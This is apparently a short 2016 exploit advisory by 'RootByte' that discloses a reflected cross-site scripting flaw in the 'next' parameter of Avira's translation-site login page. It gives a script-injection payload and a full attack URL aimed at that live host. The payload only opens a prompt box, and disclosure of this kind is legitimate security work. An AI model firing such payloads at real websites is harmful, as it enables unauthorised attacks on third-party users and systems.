# Exploit Title: AVIRA Subdomain XSS Vulnerability
# Google Dork: N/A
# Date: 2016/1/29
# Exploit Author: RootByte
# Vendor Homepage: http://translate.avira.com
# Software Link: N/A
# Version: N/A
# Tested on: Windows 10 / FireFox
# CVE : N/A


~ # Vulnerable Location: http://translate.avira.com/accounts/login/

~ # Variable: next

~ # Using this script for XSS Vunerability Testing :
"><script>prompt(/RootByte/)</script>

~ # Our Finally address is
http://translate.avira.com/accounts/login/?csrfmiddlewaretoken=Ukv77qZZeG2BavIGaHNxcgJ6U4045erd&username=3383976&password=5478964&login=Login&language=ach&next="><script>prompt(/RootByte/)</script>


# Discovered by: RootByte
# Page: https://www.facebook.com/Rootbyte/
# Contact: https://www.facebook.com/groups/RootByte/




InfoSec Consultant / Web Pentester / Wannabe Security Researcher / JDM interested and Tacos addicted.